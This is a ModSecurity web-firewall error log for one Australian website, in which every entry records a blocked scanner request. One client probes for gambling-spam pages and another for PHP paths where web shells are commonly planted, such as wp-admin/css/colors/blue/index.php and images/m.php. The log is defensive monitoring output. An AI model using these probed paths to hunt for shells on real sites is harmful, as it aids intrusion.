[Tue Feb 03 20:33:34.740178 2026] [:error] [pid 5148:tid 5166] [client 147.135.212.151:38368] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYHrHr83HCHLtUIbS7LfPQAAAU8"]
[Tue Feb 03 20:33:37.541939 2026] [:error] [pid 43028:tid 43047] [client 147.135.212.151:38376] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYHrIVnHWnJD4cJC5DucIgAAANE"]
[Tue Feb 03 20:33:40.244935 2026] [:error] [pid 5148:tid 5164] [client 147.135.212.151:58544] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYHrJL83HCHLtUIbS7LfUQAAAU0"]
[Tue Feb 03 20:33:43.078810 2026] [:error] [pid 43028:tid 43046] [client 147.135.212.151:58558] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYHrJ1nHWnJD4cJC5DucOwAAANA"]
[Tue Feb 03 20:33:45.672724 2026] [:error] [pid 42920:tid 42953] [client 147.135.212.151:58562] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYHrKSix3YKltG4EU0l9bQAAABg"]
[Tue Feb 03 20:33:48.391566 2026] [:error] [pid 28720:tid 28737] [client 147.135.212.151:35938] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYHrLGmRXm2bmr_sYibJogAAAQ8"]
[Tue Feb 03 20:33:51.023605 2026] [:error] [pid 28720:tid 28727] [client 147.135.212.151:35950] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYHrL2mRXm2bmr_sYibJqAAAAQU"]
[Tue Feb 03 20:33:53.650377 2026] [:error] [pid 5229:tid 5244] [client 147.135.212.151:35960] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYHrMUKmEgmJub93yUrzfQAAAY0"]
[Tue Feb 03 20:33:56.444943 2026] [:error] [pid 28720:tid 28729] [client 147.135.212.151:35972] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYHrNGmRXm2bmr_sYibJvAAAAQc"]
[Tue Feb 03 20:33:58.971820 2026] [:error] [pid 43028:tid 43040] [client 147.135.212.151:39220] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYHrNlnHWnJD4cJC5DucXgAAAMo"]
[Tue Feb 03 20:34:21.504017 2026] [:error] [pid 28720:tid 28727] [client 147.135.212.151:39232] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYHrTWmRXm2bmr_sYibJ8AAAAQU"]
[Tue Feb 03 20:34:23.953738 2026] [:error] [pid 5229:tid 5239] [client 147.135.212.151:55272] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYHrT0KmEgmJub93yUrzogAAAYg"]
[Tue Feb 03 20:34:26.583191 2026] [:error] [pid 5148:tid 5171] [client 147.135.212.151:55278] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYHrUr83HCHLtUIbS7LfjAAAAVQ"]
[Tue Feb 03 20:34:29.068124 2026] [:error] [pid 5229:tid 5246] [client 147.135.212.151:38444] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYHrVUKmEgmJub93yUrzrQAAAY8"]
[Tue Feb 03 20:34:31.809596 2026] [:error] [pid 42922:tid 43003] [client 147.135.212.151:38456] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYHrV2azX4WPS_dQRkiUhQAAAJI"]
[Tue Feb 03 20:34:34.468843 2026] [:error] [pid 43028:tid 43034] [client 147.135.212.151:38472] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYHrWlnHWnJD4cJC5Duc0QAAAMQ"]
[Tue Feb 03 20:34:37.213016 2026] [:error] [pid 5229:tid 5238] [client 147.135.212.151:38478] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYHrXUKmEgmJub93yUrzvgAAAYc"]
[Tue Feb 03 20:34:39.974967 2026] [:error] [pid 42921:tid 42981] [client 147.135.212.151:57738] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYHrX4blShffGl-01odyrwAAAFc"]
[Tue Feb 03 20:34:42.677029 2026] [:error] [pid 43028:tid 43049] [client 147.135.212.151:57752] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYHrYlnHWnJD4cJC5Duc7QAAANM"]
[Tue Feb 03 20:34:45.398076 2026] [:error] [pid 42920:tid 42943] [client 147.135.212.151:57762] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYHrZSix3YKltG4EU0l9xwAAAA4"]
[Tue Feb 03 20:34:48.002302 2026] [:error] [pid 42922:tid 43007] [client 147.135.212.151:40656] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYHraGazX4WPS_dQRkiUpgAAAJY"]
[Tue Feb 03 20:34:50.610368 2026] [:error] [pid 42922:tid 42990] [client 147.135.212.151:40668] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYHramazX4WPS_dQRkiUrAAAAIU"]
[Tue Feb 03 20:34:53.274829 2026] [:error] [pid 42922:tid 42998] [client 147.135.212.151:40676] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYHrbWazX4WPS_dQRkiUswAAAI0"]
[Tue Feb 03 20:34:55.931749 2026] [:error] [pid 28720:tid 28733] [client 147.135.212.151:40692] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYHrb2mRXm2bmr_sYibKGwAAAQs"]
[Tue Feb 03 20:34:58.515900 2026] [:error] [pid 5229:tid 5250] [client 147.135.212.151:35490] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYHrckKmEgmJub93yUrz2QAAAZM"]
[Tue Feb 03 20:35:01.248401 2026] [:error] [pid 42922:tid 43006] [client 147.135.212.151:35502] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYHrdWazX4WPS_dQRkiUwQAAAJU"]
[Tue Feb 03 20:35:03.891485 2026] [:error] [pid 42920:tid 42942] [client 147.135.212.151:35510] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYHrdyix3YKltG4EU0l95gAAAA0"]
[Tue Feb 03 20:35:06.542617 2026] [:error] [pid 43028:tid 43051] [client 147.135.212.151:35512] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYHrelnHWnJD4cJC5DudJwAAANU"]
[Tue Feb 03 20:35:09.175148 2026] [:error] [pid 43028:tid 43042] [client 147.135.212.151:41344] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYHrfVnHWnJD4cJC5DudLwAAAMw"]
[Tue Feb 03 20:35:11.704637 2026] [:error] [pid 5229:tid 5238] [client 147.135.212.151:41354] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYHrf0KmEgmJub93yUrz7QAAAYc"]
[Tue Feb 03 20:35:14.414123 2026] [:error] [pid 5229:tid 5246] [client 147.135.212.151:41366] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYHrgkKmEgmJub93yUrz8QAAAY8"]
[Tue Feb 03 20:35:17.097404 2026] [:error] [pid 43028:tid 43030] [client 147.135.212.151:41374] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYHrhVnHWnJD4cJC5DudRQAAAMA"]
[Tue Feb 03 23:06:21.847047 2026] [:error] [pid 5229:tid 5231] [client 20.194.44.29:34190] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aYIO7UKmEgmJub93yUoqJQAAAYA"]
[Tue Feb 03 23:06:26.082113 2026] [:error] [pid 42920:tid 42931] [client 20.194.44.29:5211] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aYIO8iix3YKltG4EU0mnOAAAAAI"]
[Tue Feb 03 23:06:27.464410 2026] [:error] [pid 5148:tid 5160] [client 20.194.44.29:9320] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aYIO8783HCHLtUIbS7INNQAAAUk"]
[Tue Feb 03 23:06:28.741257 2026] [:error] [pid 43028:tid 43033] [client 20.194.44.29:15015] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aYIO9FnHWnJD4cJC5DvesgAAAMM"]
[Tue Feb 03 23:06:56.051710 2026] [:error] [pid 5148:tid 5172] [client 20.194.44.29:15086] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aYIPEL83HCHLtUIbS7INVAAAAVU"]
[Tue Feb 03 23:06:58.694816 2026] [:error] [pid 43028:tid 43040] [client 20.194.44.29:9792] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aYIPElnHWnJD4cJC5Dve2AAAAMo"]
[Tue Feb 03 23:07:05.520144 2026] [:error] [pid 42921:tid 42974] [client 20.194.44.29:19335] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aYIPGYblShffGl-01oebUgAAAFA"]
[Tue Feb 03 23:07:07.828938 2026] [:error] [pid 42921:tid 42966] [client 20.194.44.29:8229] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aYIPG4blShffGl-01oebVwAAAEg"]
[Tue Feb 03 23:07:09.491049 2026] [:error] [pid 28720:tid 28742] [client 20.194.44.29:9833] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aYIPHWmRXm2bmr_sYibzYQAAARQ"]
[Tue Feb 03 23:07:10.889188 2026] [:error] [pid 28720:tid 28735] [client 20.194.44.29:5371] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aYIPHmmRXm2bmr_sYibzYwAAAQ0"]
[Tue Feb 03 23:07:16.361434 2026] [:error] [pid 43028:tid 43036] [client 20.194.44.29:37419] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aYIPJFnHWnJD4cJC5Dve_gAAAMY"]
[Tue Feb 03 23:07:16.940756 2026] [:error] [pid 42920:tid 42931] [client 20.194.44.29:5366] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aYIPJCix3YKltG4EU0mnlgAAAAI"]
[Tue Feb 03 23:07:25.917126 2026] [:error] [pid 28720:tid 28724] [client 20.194.44.29:52766] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.php"] [unique_id "aYIPLWmRXm2bmr_sYibzeAAAAQI"]
[Tue Feb 03 23:07:26.647736 2026] [:error] [pid 42922:tid 43002] [client 20.194.44.29:5338] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.php"] [unique_id "aYIPLmazX4WPS_dQRki-uAAAAJE"]
[Tue Feb 03 23:07:31.153879 2026] [:error] [pid 42922:tid 42995] [client 20.194.44.29:54007] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.php"] [unique_id "aYIPM2azX4WPS_dQRki-vwAAAIo"]
[Tue Feb 03 23:07:36.522525 2026] [:error] [pid 5148:tid 5170] [client 20.194.44.29:10048] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aYIPOL83HCHLtUIbS7INhAAAAVM"]
[Tue Feb 03 23:07:46.141157 2026] [:error] [pid 5148:tid 5175] [client 20.194.44.29:37404] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aYIPQr83HCHLtUIbS7INlgAAAVg"]
[Tue Feb 03 23:07:47.185881 2026] [:error] [pid 43028:tid 43045] [client 20.194.44.29:9866] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aYIPQ1nHWnJD4cJC5DvfRQAAAM8"]
[Tue Feb 03 23:07:48.509659 2026] [:error] [pid 43028:tid 43043] [client 20.194.44.29:37402] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aYIPRFnHWnJD4cJC5DvfSgAAAM0"]
[Tue Feb 03 23:07:51.899306 2026] [:error] [pid 5229:tid 5253] [client 20.194.44.29:5749] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/m.php"] [unique_id "aYIPR0KmEgmJub93yUoqgAAAAZY"]
[Tue Feb 03 23:07:55.564221 2026] [:error] [pid 42921:tid 42972] [client 20.194.44.29:37427] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/m.php"] [unique_id "aYIPS4blShffGl-01oebfQAAAE4"]
[Tue Feb 03 23:07:56.818686 2026] [:error] [pid 43028:tid 43052] [client 20.194.44.29:11626] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/m.php"] [unique_id "aYIPTFnHWnJD4cJC5DvfVQAAANY"]
[Tue Feb 03 23:07:59.041567 2026] [:error] [pid 28720:tid 28734] [client 20.194.44.29:37411] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/m.php"] [unique_id "aYIPT2mRXm2bmr_sYibzmAAAAQw"]
